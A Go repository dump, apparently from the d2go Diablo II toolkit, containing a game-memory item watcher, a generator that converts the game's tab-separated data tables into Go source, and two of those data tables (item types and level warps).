-------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | itemwatcher "github.com/notedhouse/d2go/cmd/itemwatcher/internal" 6 | "github.com/notedhouse/d2go/pkg/memory" 7 | "github.com/notedhouse/d2go/pkg/nip" 8 | "log" 9 | "os" 10 | "os/signal" 11 | ) 12 | 13 | func main() { 14 | process, err := memory.NewProcess() 15 | if err != nil { 16 | log.Fatalf("error starting process: %s", err.Error()) 17 | } 18 | 19 | gr := memory.NewGameReader(process) 20 | 21 | rules, err := nip.ReadDir("config/itemfilter/") 22 | if err != nil { 23 | log.Fatalf("error reading NIP files: %s", err.Error()) 24 | } 25 | 26 | watcher := itemwatcher.NewWatcher(gr, rules) 27 | 28 | ctx := contextWithSigterm(context.Background()) 29 | err = watcher.Start(ctx) 30 | if err != nil { 31 | log.Fatalf("error during process: %s", err.Error()) 32 | } 33 | } 34 | 35 | func contextWithSigterm(ctx context.Context) context.Context { 36 | ctxWithCancel, cancel := context.WithCancel(ctx) 37 | go func() { 38 | defer cancel() 39 | 40 | signalCh := make(chan os.Signal, 1) 41 | signal.Notify(signalCh, os.Interrupt) 42 | 43 | select { 44 | case <-signalCh: 45 | case <-ctx.Done(): 46 | } 47 | }() 48 | 49 | return ctxWithCancel 50 | } 51 | -------------------------------------------------------------------------------- /cmd/txttocode/config.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | var textFiles = []TextFileDesc{ 4 | { 5 | SourceFile: "cmd/txttocode/txt/itemtypes.txt", 6 | DestFile: "pkg/data/item/itemtypes.go", 7 | Template: templateItemType, 8 | }, 9 | { 10 | SourceFile: "cmd/txttocode/txt/levels.txt", 11 | DestFile: "pkg/data/area/areas.go", 12 | Template: templateLevels, 13 | }, 14 | { 15 | SourceFile: "cmd/txttocode/txt/skills.txt", 16 | DestFile: "pkg/data/skill/skills.go", 17 | Template: templateSkills, 18 | }, 19 | { 20 | SourceFile: "cmd/txttocode/txt/skilldesc.txt", 21 | DestFile: "pkg/data/skill/skilldesc.go", 22 | Template: templateSkillDesc, 23 | }, 24 | { 25 | SourceFile: "cmd/txttocode/txt/objects.txt", 26 | DestFile: "pkg/data/object/objects.go", 27 | Template: templateObjects, 28 | }, 29 | { 30 | SourceFile: "cmd/txttocode/txt/lvlwarp.txt", 31 | DestFile: "pkg/data/entrance/entrances.go", 32 | Template: templateEntrances, 33 | }, 34 | { 35 | SourceFile: "cmd/txttocode/txt/rareprefix.txt", 36 | DestFile: "pkg/data/item/rareprefixes.go", 37 | Template: templateRarePrefixes, 38 | }, 39 | { 40 | SourceFile: "cmd/txttocode/txt/raresuffix.txt", 41 | DestFile: "pkg/data/item/raresuffixes.go", 42 | Template: templateRareSuffixes, 43 | }, 44 | { 45 | SourceFile: "cmd/txttocode/txt/magicprefix.txt", 46 | DestFile: "pkg/data/item/magicprefixes.go", 47 | Template: templateMagicPrefixes, 48 | }, 49 | { 50 | SourceFile: "cmd/txttocode/txt/magicsuffix.txt", 51 | DestFile: "pkg/data/item/magicsuffixes.go", 52 | Template: templateMagicSuffixes, 53 | }, 54 | { 55 | SourceFile: "cmd/txttocode/txt/uniqueitems.txt", 56 | DestFile: "pkg/data/item/uniqueitems.go", 57 | Template: templateUniqueItems, 58 | }, 59 | { 60 | SourceFile: "cmd/txttocode/txt/setitems.txt", 61 | DestFile: "pkg/data/item/setitems.go", 62 | Template: templateSetItems, 63 | }, 64 | } 65 | 66 | type TextFileDesc struct { 67 | SourceFile string 68 | DestFile string 69 | Template string 70 | } 71 | -------------------------------------------------------------------------------- /cmd/txttocode/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "fmt" 7 | "os" 8 | "strings" 9 | "text/template" 10 | ) 11 | 12 | func main() { 13 | for _, file := range textFiles { 14 | err := generateFile(file.SourceFile, file.DestFile, file.Template) 15 | if err != nil { 16 | panic(err) 17 | } 18 | } 19 | err := generateItems() 20 | if err != nil { 21 | panic(err) 22 | } 23 | } 24 | 25 | func generateFile(sourcePath, destinationPath, tpl string) error { 26 | fileToRead, err := os.Open(sourcePath) 27 | if err != nil { 28 | return err 29 | } 30 | defer fileToRead.Close() 31 | 32 | fileScanner := bufio.NewScanner(fileToRead) 33 | fileScanner.Split(bufio.ScanLines) 34 | 35 | headers := make([]string, 0) 36 | fileContent := make(map[int]map[string]string) 37 | currentID := 0 38 | 39 | // Determine if this is an affix file that should include empty rows 40 | isAffixFile := strings.Contains(sourcePath, "rareprefix") || 41 | strings.Contains(sourcePath, "raresuffix") || 42 | strings.Contains(sourcePath, "magicprefix") || 43 | strings.Contains(sourcePath, "magicsuffix") 44 | 45 | for fileScanner.Scan() { 46 | fields := strings.Split(fileScanner.Text(), "\t") 47 | if len(headers) == 0 { 48 | headers = fields 49 | continue 50 | } 51 | 52 | // Create line map 53 | lineMap := make(map[string]string) 54 | for i, header := range headers { 55 | if i < len(fields) { 56 | lineMap[header] = fields[i] 57 | } else { 58 | lineMap[header] = "" 59 | } 60 | } 61 | 62 | // Skip empty entries for non-affix files 63 | if !isAffixFile && fields[1] == "" { 64 | continue 65 | } 66 | 67 | // Store in map with current ID 68 | fileContent[currentID] = lineMap 69 | currentID++ 70 | } 71 | 72 | if len(fileContent) == 0 { 73 | return fmt.Errorf("error: no content found for file %s", sourcePath) 74 | } 75 | 76 | funcMap := template.FuncMap{ 77 | "replace": strings.ReplaceAll, 78 | "iterate": func(count int) []int { 79 | var items []int 80 | for i := 0; i < count; i++ { 81 | items = append(items, i) 82 | } 83 | return items 84 | }, 85 | "add": func(a, b int) int { 86 | return a + b 87 | }, 88 | "slice": func() []string { 89 | return make([]string, 0) 90 | }, 91 | "append": func(slice []string, items ...string) []string { 92 | return append(slice, items...) 93 | }, 94 | "default": func(value, defaultValue string) string { 95 | if value == "" { 96 | return defaultValue 97 | } 98 | return value 99 | }, 100 | "contains": strings.Contains, 101 | "dict": func() map[string][]string { 102 | return make(map[string][]string) 103 | }, 104 | "set": func(m map[string][]string, key string, value []string) map[string][]string { 105 | m[key] = value 106 | return m 107 | }, 108 | "list": func() []string { 109 | return make([]string, 0) 110 | }, 111 | } 112 | 113 | t := template.Must(template.New("tpl").Funcs(funcMap).Parse(tpl)) 114 | 115 | file, err := os.Create(destinationPath) 116 | if err != nil { 117 | return err 118 | } 119 | defer file.Close() 120 | 121 | return t.Execute(file, fileContent) 122 | } 123 | 124 | func generateItems() error { 125 | weapons, err := os.Open("cmd/txttocode/txt/weapons.txt") 126 | if err != nil { 127 | return err 128 | } 129 | defer weapons.Close() 130 | armor, err := os.Open("cmd/txttocode/txt/armor.txt") 131 | if err != nil { 132 | return err 133 | } 134 | defer armor.Close() 135 | misc, err := os.Open("cmd/txttocode/txt/misc.txt") 136 | if err != nil { 137 | return err 138 | } 139 | defer misc.Close() 140 | 141 | files := []*os.File{weapons, armor, misc} 142 | 143 | itemsFileContent := "" 144 | 145 | itemID := 0 146 | for k, file := range files { 147 | var b bytes.Buffer 148 | scanner := bufio.NewScanner(file) 149 | 150 | headers := make([]string, 0) 151 | fileContent := make([]map[string]string, 0) 152 | for scanner.Scan() { 153 | fields := strings.Split(scanner.Text(), "\t") 154 | if len(headers) == 0 { 155 | headers = fields 156 | continue 157 | } 158 | 159 | // Ignore if Code is empty 160 | if fields[1] == "" { 161 | continue 162 | } 163 | 164 | lineMap := make(map[string]string) 165 | for i, header := range headers { 166 | lineMap[header] = fields[i] 167 | } 168 | 169 | lineMap["ID"] = fmt.Sprintf("%d", itemID) 170 | lineMap["name"] = strings.ReplaceAll(lineMap["name"], "Heirophant", "Hierophant") 171 | lineMap["name"] = strings.ReplaceAll(lineMap["name"], "Colossal", "Colossus") 172 | lineMap["name"] = strings.ReplaceAll(lineMap["name"], "Ancient Shield", "Kurast Shield") 173 | lineMap["name"] = strings.ReplaceAll(lineMap["name"], "Ornate Armor", "Ornate Plate") 174 | lineMap["name"] = strings.ReplaceAll(lineMap["name"], "Essense", "Essence") 175 | 176 | fieldsToCheck := []string{ 177 | "minac", "maxac", "mindam", "maxdam", "2handmindam", "2handmaxdam", 178 | "minmisdam", "maxmisdam", "speed", "StrBonus", "DexBonus", 179 | "reqstr", "reqdex", "durability", "level", "gemsockets", 180 | } 181 | 182 | for _, field := range fieldsToCheck { 183 | if value, found := lineMap[field]; !found || value == "" { 184 | lineMap[field] = "0" 185 | } 186 | } 187 | 188 | if _, found := lineMap["normcode"]; !found { 189 | lineMap["normcode"] = "" 190 | lineMap["ubercode"] = "" 191 | lineMap["ultracode"] = "" 192 | } 193 | 194 | fileContent = append(fileContent, lineMap) 195 | itemID++ 196 | } 197 | 198 | tpl := templateArmorAndMisc 199 | if k == 0 { 200 | tpl = templateWeapons 201 | } 202 | 203 | t := template.Must(template.New("tpl").Funcs(template.FuncMap{ 204 | "replace": strings.ReplaceAll, 205 | }).Parse(tpl)) 206 | 207 | err = t.Execute(&b, fileContent) 208 | if err != nil { 209 | return err 210 | } 211 | itemsFileContent += b.String() 212 | } 213 | 214 | itemsFileContent += "}" 215 | err = os.WriteFile("pkg/data/item/items.go", []byte(itemsFileContent), 0644) 216 | if err != nil { 217 | return err 218 | } 219 | return nil 220 | } 221 | -------------------------------------------------------------------------------- /cmd/txttocode/txt/itemtypes.txt: -------------------------------------------------------------------------------- 1 | ItemType Code Equiv1 Equiv2 Repair Body BodyLoc1 BodyLoc2 Shoots Quiver Throwable Reload ReEquip AutoStack Magic Rare Normal Beltable MaxSockets1 MaxSocketsLevelThreshold1 MaxSockets2 MaxSocketsLevelThreshold2 MaxSockets3 TreasureClass Rarity StaffMods Class VarInvGfx InvGfx1 InvGfx2 InvGfx3 InvGfx4 InvGfx5 InvGfx6 StorePage *eol 2 | Any 0 0 0 0 0 0 0 0 0 25 0 40 0 0 3 0 0 3 | None none 0 0 0 0 0 0 0 0 0 25 0 40 0 0 3 0 0 4 | Shield shie shld 1 1 rarm larm 0 0 0 0 1 0 0 3 25 3 40 4 0 3 0 armo 0 5 | Armor tors armo 1 1 tors tors 0 0 0 0 1 0 0 3 25 4 40 6 0 3 0 armo 0 6 | Gold gold misc 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 0 7 | Bow Quiver bowq misl seco 0 1 rarm larm bow 0 1 0 1 1 0 0 25 0 40 0 0 3 0 misc 0 8 | Crossbow Quiver xboq misl seco 0 1 rarm larm xbow 0 1 0 1 1 0 0 25 0 40 0 0 3 0 misc 0 9 | Player Body Part play misc 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 10 | Herb herb misc 0 0 0 0 0 0 0 0 0 25 0 40 0 0 3 0 misc 0 11 | Potion poti misc 0 0 0 0 0 0 1 1 0 25 0 40 0 0 3 0 misc 0 12 | Ring ring misc 0 1 rrin lrin 0 0 0 0 1 1 0 0 0 25 0 40 0 0 3 5 invrin1 invrin2 invrin3 invrin4 invrin5 misc 0 13 | Elixir elix misc 0 0 0 0 0 0 0 1 0 25 0 40 0 0 3 0 misc 0 14 | Amulet amul misc 0 1 neck neck 0 0 0 0 1 1 0 0 0 25 0 40 0 0 3 3 invamu1 invamu2 invamu3 misc 0 15 | Charm char misc 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 3 3 invch1 invch4 invch7 misc 0 16 | Not Used 0 0 0 0 0 0 0 0 0 25 0 40 0 0 3 0 0 17 | Boots boot armo 1 1 feet feet 0 0 0 0 1 0 0 0 25 0 40 0 0 3 0 armo 0 18 | Gloves glov armo 1 1 glov glov 0 0 0 0 1 0 0 0 25 0 40 0 0 3 0 armo 0 19 | Not Used 0 0 0 0 0 0 0 0 0 25 0 40 0 0 3 0 0 20 | Book book misc 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 21 | Belt belt armo 1 1 belt belt 0 0 0 0 1 0 0 0 25 0 40 0 0 3 0 armo 0 22 | Gem gem sock 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 23 | Torch torc misc 0 1 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 24 | Scroll scro misc 0 0 0 0 0 0 1 1 0 25 0 40 0 0 3 0 misc 0 25 | Not Used 0 0 0 0 0 0 0 0 0 25 0 40 0 0 3 0 0 26 | Scepter scep rod 1 1 rarm larm 0 0 0 0 1 0 0 3 25 5 40 6 0 1 pal 0 weap 0 27 | Wand wand rod 1 1 rarm larm 0 0 0 0 1 0 0 2 25 2 40 2 0 1 nec 0 weap 0 28 | Staff staf rod 1 1 rarm larm 0 0 0 0 1 0 0 5 25 6 40 6 0 1 sor 0 weap 0 29 | Bow bow miss 0 1 rarm larm bowq 0 0 0 0 1 0 0 3 25 4 40 6 1 3 0 weap 0 30 | Axe axe mele 1 1 rarm larm 0 0 0 0 1 0 0 4 25 5 40 6 0 3 0 weap 0 31 | Club club blun 1 1 rarm larm 0 0 0 0 1 0 0 3 25 4 40 6 0 3 0 weap 0 32 | Sword swor blde 1 1 rarm larm 0 0 0 0 1 0 0 3 25 4 40 6 0 3 0 weap 0 33 | Hammer hamm blun 1 1 rarm larm 0 0 0 0 1 0 0 3 25 4 40 6 0 3 0 weap 0 34 | Knife knif blde 1 1 rarm larm 0 0 0 0 1 0 0 2 25 3 40 3 0 3 0 weap 0 35 | Spear spea sppl 1 1 rarm larm 0 0 0 0 1 0 0 3 25 4 40 6 0 3 0 weap 0 36 | Polearm pole sppl 1 1 rarm larm 0 0 0 0 1 0 0 3 25 4 40 6 0 3 0 weap 0 37 | Crossbow xbow miss 1 1 rarm larm xboq 0 0 0 0 1 0 0 3 25 4 40 6 0 3 0 weap 0 38 | Mace mace blun 1 1 rarm larm 0 0 0 0 1 0 0 3 25 4 40 6 0 3 0 weap 0 39 | Helm helm armo 1 1 head head 0 0 0 0 1 0 0 2 25 2 40 3 0 3 0 armo 0 40 | Missile Potion tpot thro 0 1 rarm larm 1 1 1 1 1 0 0 25 0 40 0 0 3 0 misc 0 41 | Quest ques 0 0 0 0 0 0 0 0 0 25 0 40 0 0 3 0 0 42 | Body Part body misc 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 43 | Key key misc 0 0 0 0 0 1 1 0 0 25 0 40 0 0 3 0 misc 0 44 | Throwing Knife tkni comb knif 1 1 rarm larm 1 1 1 1 1 0 0 0 25 0 40 0 0 3 0 misc 0 45 | Throwing Axe taxe comb axe 1 1 rarm larm 1 1 1 1 1 0 0 0 25 0 40 0 0 3 0 misc 0 46 | Javelin jave comb spea 1 1 rarm larm 1 1 1 1 1 0 0 0 25 0 40 0 0 3 0 misc 0 47 | Weapon weap 0 0 0 0 0 0 1 0 0 0 25 0 40 0 1 3 0 0 48 | Melee Weapon mele weap 0 0 0 0 0 0 1 0 0 0 25 0 40 0 1 3 0 0 49 | Missile Weapon miss weap 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 3 0 0 50 | Thrown Weapon thro weap 0 0 1 0 0 0 1 0 0 0 25 0 40 0 0 3 0 0 51 | Combo Weapon comb mele thro 0 0 1 0 0 0 1 0 0 0 25 0 40 0 0 3 0 0 52 | Any Armor armo 0 0 0 0 0 0 1 0 0 0 25 0 40 0 1 3 0 0 53 | Any Shield shld armo seco 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 3 0 0 54 | Miscellaneous misc 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 3 0 0 55 | Socket Filler sock misc 0 0 0 0 0 0 0 0 0 25 0 40 0 0 3 0 0 56 | Second Hand seco 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 3 0 0 57 | Staves And Rods rod blun 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 3 0 0 58 | Missile misl misc 0 0 0 0 0 0 0 0 0 25 0 40 0 0 3 0 0 59 | Blunt blun mele 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 3 0 0 60 | Expansion 61 | Jewel jewl sock 0 0 0 0 0 0 1 1 0 0 0 25 0 40 0 0 3 6 invjw1 invjw2 invjw3 invjw4 invjw5 invjw6 misc 0 62 | Class Specific clas 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 3 0 0 63 | Amazon Item amaz clas 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 1 ama 0 0 64 | Barbarian Item barb clas 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 1 bar 0 0 65 | Necromancer Item necr clas 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 1 nec 0 0 66 | Paladin Item pala clas 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 1 pal 0 0 67 | Sorceress Item sorc clas 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 1 sor 0 0 68 | Assassin Item assn clas 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 2 ass 0 0 69 | Druid Item drui clas 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 1 dru 0 0 70 | Hand to Hand h2h mele assn 1 1 rarm larm 0 0 0 0 1 0 0 2 25 3 40 3 0 2 ass 0 weap 0 71 | Orb orb weap sorc 1 1 rarm larm 0 0 0 0 1 0 0 2 25 3 40 3 0 1 sor sor 0 weap 0 72 | Voodoo Heads head shld necr 1 1 rarm larm 0 0 0 0 1 0 0 2 25 3 40 3 0 1 nec nec 0 armo 0 73 | Auric Shields ashd shld pala 1 1 rarm larm 0 0 0 0 1 0 0 3 25 4 40 4 0 1 pal 0 armo 0 74 | Primal Helm phlm helm barb 1 1 head head 0 0 0 0 1 0 0 2 25 3 40 3 0 1 bar bar 0 armo 0 75 | Pelt pelt helm drui 1 1 head head 0 0 0 0 1 0 0 2 25 3 40 3 0 1 dru dru 0 armo 0 76 | Cloak cloa tors assn 1 1 tors tors 0 0 0 0 1 0 0 0 25 0 40 0 0 1 ass ass 0 armo 0 77 | Rune rune sock 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 78 | Circlet circ helm 1 1 head head 0 0 0 0 1 0 0 1 25 2 40 3 0 3 0 armo 0 79 | Healing Potion hpot poti 0 0 0 0 0 0 1 1 0 25 0 40 0 0 3 0 misc 0 80 | Mana Potion mpot poti 0 0 0 0 0 0 1 1 0 25 0 40 0 0 3 0 misc 0 81 | Rejuv Potion rpot hpot mpot 0 0 0 0 0 0 1 1 0 25 0 40 0 0 3 0 misc 0 82 | Stamina Potion spot poti 0 0 0 0 0 0 1 1 0 25 0 40 0 0 3 0 misc 0 83 | Antidote Potion apot poti 0 0 0 0 0 0 1 1 0 25 0 40 0 0 3 0 misc 0 84 | Thawing Potion wpot poti 0 0 0 0 0 0 1 1 0 25 0 40 0 0 3 0 misc 0 85 | Small Charm scha char 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 3 3 invch1 invch4 invch7 misc 0 86 | Medium Charm mcha char 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 3 3 invch2 invch5 invch8 misc 0 87 | Large Charm lcha char 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 3 3 invch3 invch6 invch9 misc 0 88 | Amazon Bow abow bow amaz 0 1 rarm larm bowq 0 0 0 0 1 0 0 3 25 4 40 5 1 1 ama 0 weap 0 89 | Amazon Spear aspe spea amaz 1 1 rarm larm 0 0 0 0 1 0 0 3 25 4 40 6 0 1 ama 0 weap 0 90 | Amazon Javelin ajav jave amaz 1 1 rarm larm 1 1 1 1 1 0 0 0 25 0 40 0 0 1 ama 0 misc 0 91 | Hand to Hand 2 h2h2 h2h 1 1 rarm larm 0 0 0 0 1 0 0 2 25 3 40 3 0 2 ass ass 0 weap 0 92 | Magic Bow Quiv mboq bowq 0 1 rarm larm bow 0 1 0 0 1 1 0 0 0 25 0 40 0 0 3 0 misc 0 93 | Magic Xbow Quiv mxbq xboq 0 1 rarm larm xbow 0 1 0 0 1 1 0 0 0 25 0 40 0 0 3 0 misc 0 94 | Chipped Gem gem0 gem 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 95 | Flawed Gem gem1 gem 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 96 | Standard Gem gem2 gem 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 97 | Flawless Gem gem3 gem 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 98 | Perfect Gem gem4 gem 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 99 | Amethyst gema gem 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 100 | Diamond gemd gem 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 101 | Emerald geme gem 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 102 | Ruby gemr gem 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 103 | Sapphire gems gem 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 104 | Topaz gemt gem 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 105 | Skull gemz gem 0 0 0 0 0 0 1 0 0 25 0 40 0 0 3 0 misc 0 106 | Swords and Knives blde mele 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 3 0 0 107 | Spears and Polearms sppl mele 0 0 0 0 0 0 1 0 0 0 25 0 40 0 0 3 0 0 108 | -------------------------------------------------------------------------------- /cmd/txttocode/txt/lvlwarp.txt: -------------------------------------------------------------------------------- 1 | Name Id SelectX SelectY SelectDX SelectDY ExitWalkX ExitWalkY OffsetX OffsetY LitVersion Tiles NoInteract Direction UniqueId 2 | Act 1 Wilderness to Cave Cliff L 0 -90 -100 90 110 5 0 1 -1 1 2 0 b 0 3 | Act 1 Wilderness to Cave Cliff R 1 -15 -90 90 110 0 5 3 1 1 2 0 b 1 4 | Act 1 Wilderness to Cave Floor L 2 -60 -60 85 100 5 0 -1 1 1 2 0 b 2 5 | Act 1 Wilderness to Cave Floor R 3 -25 -60 85 100 0 5 1 -1 1 2 0 b 3 6 | Act 1 Cave Up 4 -30 -120 120 150 3 5 2 5 1 2 0 b 4 7 | Act 1 Cave Down 5 -25 -75 80 100 3 5 1 3 1 2 0 b 5 8 | Act 1 Graveyard to Crypt 1 6 -90 -110 110 140 5 0 5 0 0 2 0 b 6 9 | Act 1 Graveyard to Crypt 2 7 -70 -90 90 120 5 0 5 2 0 2 0 b 7 10 | Act 1 Crypt Up 8 -10 -90 60 110 0 5 5 1 1 2 0 b 8 11 | Act 1 Crypt Down 9 -30 -90 60 110 5 0 1 1 1 2 0 b 9 12 | Act 1 Wilderness to Tower 10 -10 -50 150 80 3 5 -4 0 1 2 0 b 10 13 | Act 1 Tower to Wilderness 11 -50 -130 60 140 5 3 4 -2 0 2 0 b 11 14 | Act 1 Tower to Crypt 12 -50 -90 80 110 5 0 2 3 1 2 0 b 12 15 | Act 1 Jail Up 13 -50 -110 110 150 0 5 5 1 1 2 0 b 13 16 | Act 1 Jail Down 14 -40 -80 210 110 0 5 -1 3 1 2 0 b 14 17 | Act 1 Cathedral To Catacombs 15 -30 -110 85 130 0 5 3 1 1 2 0 b 15 18 | Act 1 Catacombs to Cathedral 16 -35 -130 90 150 0 5 7 1 1 2 0 b 16 19 | Act 1 Catacombs Up 17 -50 -110 110 150 0 5 5 1 1 2 0 b 17 20 | Act 1 Catacombs Down 18 -60 -80 210 110 0 5 -1 3 1 2 0 b 18 21 | Act 2 Town to Sewer Trap 19 -10 -10 0 0 5 5 0 0 0 2 1 b 19 22 | Act 2 Town to Sewer Dock 20 -25 -95 70 130 5 0 -2 0 0 2 0 b 20 23 | Act 2 Sewer Dock to Town 21 20 -80 65 140 -5 0 10 -2 0 2 0 b 21 24 | Act 2 Sewer Up 22 -25 -160 100 180 2 5 5 3 1 2 0 b 22 25 | Act 2 Sewer Down 23 -65 -55 150 110 0 -5 0 0 1 2 0 b 23 26 | Act 2 Town to Harem 24 -120 -20 150 130 5 0 5 2 0 2 0 b 24 27 | Act 2 Harem to Town 25 -35 -70 95 130 5 2 0 -2 0 2 0 b 25 28 | Act 2 Harem Up 1 26 -25 -150 80 180 0 5 4 0 1 2 0 b 26 29 | Act 2 Harem Up 2 27 -40 -160 80 180 5 0 0 5 1 2 0 b 27 30 | Act 2 Harem Down 1 28 -20 -40 170 100 -5 5 -3 1 1 2 0 b 28 31 | Act 2 Harem Down 2 29 -50 -20 160 85 -5 0 -1 -3 1 2 0 b 29 32 | Act 2 Basement Up 1 30 -25 -100 60 125 0 5 2 0 1 2 0 b 30 33 | Act 2 Basement Up 2 31 -40 -100 60 125 5 0 0 2 1 2 0 b 31 34 | Act 2 Basement Down 32 -30 -30 170 90 -5 5 -3 0 1 2 0 b 32 35 | Act 2 Desert to Tomb L 1 33 -70 -140 80 160 5 0 1 1 0 2 0 b 33 36 | Act 2 Desert to Tomb L 2 34 -50 -120 90 150 5 0 1 1 0 2 0 b 34 37 | Act 2 Desert to Tomb R 1 35 -30 -140 80 160 0 5 6 2 0 2 0 b 35 38 | Act 2 Desert to Tomb R 2 36 0 -140 100 150 0 5 1 2 0 2 0 b 36 39 | Act 2 Desert to Tomb Viper 37 -30 -140 80 160 0 5 4 1 0 2 0 b 37 40 | Act 2 Desert to Tomb Tal 1 38 -40 -190 90 210 5 5 0 0 0 2 0 b 38 41 | Act 2 Desert to Tomb Tal 2 39 -40 -210 50 230 5 0 -1 1 0 2 0 b 39 42 | Act 2 Desert to Tomb Tal 3 40 -30 -100 60 140 5 0 0 1 0 2 0 b 40 43 | Act 2 Desert to Tomb Tal 4 41 -90 -140 70 160 5 0 -1 -5 0 2 0 b 41 44 | Act 2 Desert to Tomb Tal 5 42 -10 -110 60 150 0 5 -2 -3 0 2 0 b 42 45 | Act 2 Desert to Tomb Tal 6 43 0 -130 90 150 0 5 -1 0 0 2 0 b 43 46 | Act 2 Desert to Tomb Tal 7 44 -10 -210 70 240 0 5 0 -3 0 2 0 b 44 47 | Act 2 Tomb Up 45 -30 -115 75 145 0 5 2 0 1 2 0 b 45 48 | Act 2 Tomb Down 46 -45 -120 85 145 5 0 0 2 1 2 0 b 46 49 | Act 2 Desert to Lair 47 -10 -60 90 90 5 5 -2 2 1 2 0 b 47 50 | Act 2 Lair Up 48 -20 -70 80 85 0 5 1 0 1 2 0 b 48 51 | Act 2 Lair Down 49 -115 -10 160 70 0 -5 -3 -5 1 2 0 b 49 52 | Act 2 Desert to Sewer Trap 50 -10 -10 0 0 5 5 0 0 0 2 1 b 50 53 | Act 3 Jungle to Spider 51 -60 -70 70 90 5 0 0 1 0 2 0 b 51 54 | Act 3 Spider to Jungle 52 10 -100 80 110 0 5 4 1 1 2 0 b 52 55 | Act 3 Jungle to Dungeon Fort 53 -15 -70 70 110 0 5 0 0 0 2 0 b 53 56 | Act 3 Jungle to Dungeon Hole 54 -130 -10 170 100 0 -5 -4 -6 0 2 0 b 54 57 | Act 3 Dungeon Up 55 -10 -100 90 130 0 5 3 1 1 2 0 b 55 58 | Act 3 Dungeon Down 56 -40 -20 170 100 -5 0 -4 -1 1 2 0 b 56 59 | Act 3 Kurast to Sewer 57 -60 -40 120 90 0 5 0 0 1 2 0 b 57 60 | Act 3 Sewer Up L 58 -75 -110 100 150 5 0 1 1 1 2 0 b 58 61 | Act 3 Sewer Up R 59 -25 -110 100 150 0 5 6 1 1 2 0 b 59 62 | Act 3 Sewer Down 60 -10 -10 0 0 5 5 0 0 0 2 1 b 60 63 | Act 3 Kurast to Temple 61 -10 -10 0 0 5 5 0 0 0 2 1 b 61 64 | Act 3 Temple Up L 62 -50 -110 80 140 5 0 1 2 1 2 0 b 62 65 | Act 3 Temple Up R 63 -30 -110 80 140 0 5 2 1 1 2 0 b 63 66 | Act 3 Travincal to Mephisto 64 -10 -10 0 0 5 5 0 0 0 2 1 b 64 67 | Act 3 Mephisto Up L 65 -65 -150 125 180 5 0 1 0 1 2 0 b 65 68 | Act 3 Mephisto Up R 66 -60 -150 125 180 0 5 5 1 1 2 0 b 66 69 | Act 3 Mephisto Down L 67 -65 -150 125 180 5 0 1 0 1 2 0 b 67 70 | Act 3 Mephisto Down R 68 -60 -150 125 180 0 5 5 1 1 2 0 b 68 71 | Act 4 Mesa to Lava 69 -60 -40 150 160 -5 0 2 2 0 2 0 b 69 72 | Act 4 Lava to Mesa 70 -90 -50 160 120 5 2 0 0 0 2 0 b 70 73 | Expansion 74 | Act 5 Barricade Down Wall L 71 -70 -80 80 100 5 2 2 6 1 4 0 l 71 75 | Act 5 Barricade Down Wall R 71 -15 -90 70 100 -1 5 6 2 1 4 0 r 72 76 | Act 5 Barricade Down Floor 72 -20 -120 75 100 5 2 2 2 1 4 0 b 73 77 | Act 5 Ice Caves Up L 73 -60 -110 90 115 5 2 0 5 1 2 0 l 74 78 | Act 5 Ice Caves Up R 73 -10 -120 100 120 2 5 5 1 1 2 0 r 75 79 | Act 5 Ice Caves Down L 74 -60 -110 90 115 5 2 0 5 1 2 0 l 76 80 | Act 5 Ice Caves Down R 74 -20 -110 90 115 2 5 4 0 1 2 0 r 77 81 | Act 5 Ice Caves Down Floor 75 -5 -110 80 110 2 5 6 3 1 2 0 b 78 82 | Act 5 Temple Entrance 76 0 -110 95 100 2 5 2 0 1 2 0 b 79 83 | Act 5 Temple Down 77 0 -70 140 80 5 2 -2 3 1 2 0 b 80 84 | Act 5 Temple Up 78 -20 -110 100 110 5 2 3 0 1 2 0 b 81 85 | Act 5 Mountain Top To Ice 79 -40 -110 0 0 2 5 2 1 0 2 1 b 82 86 | Act 5 Mountain Top To Baal 80 -20 -110 0 0 2 5 2 1 0 2 1 b 83 87 | Act 5 Baal Temple Up L 81 -70 -110 95 115 5 2 1 4 1 2 0 l 84 88 | Act 5 Baal Temple Up R 81 -20 -110 80 115 2 5 4 1 1 2 0 r 85 89 | 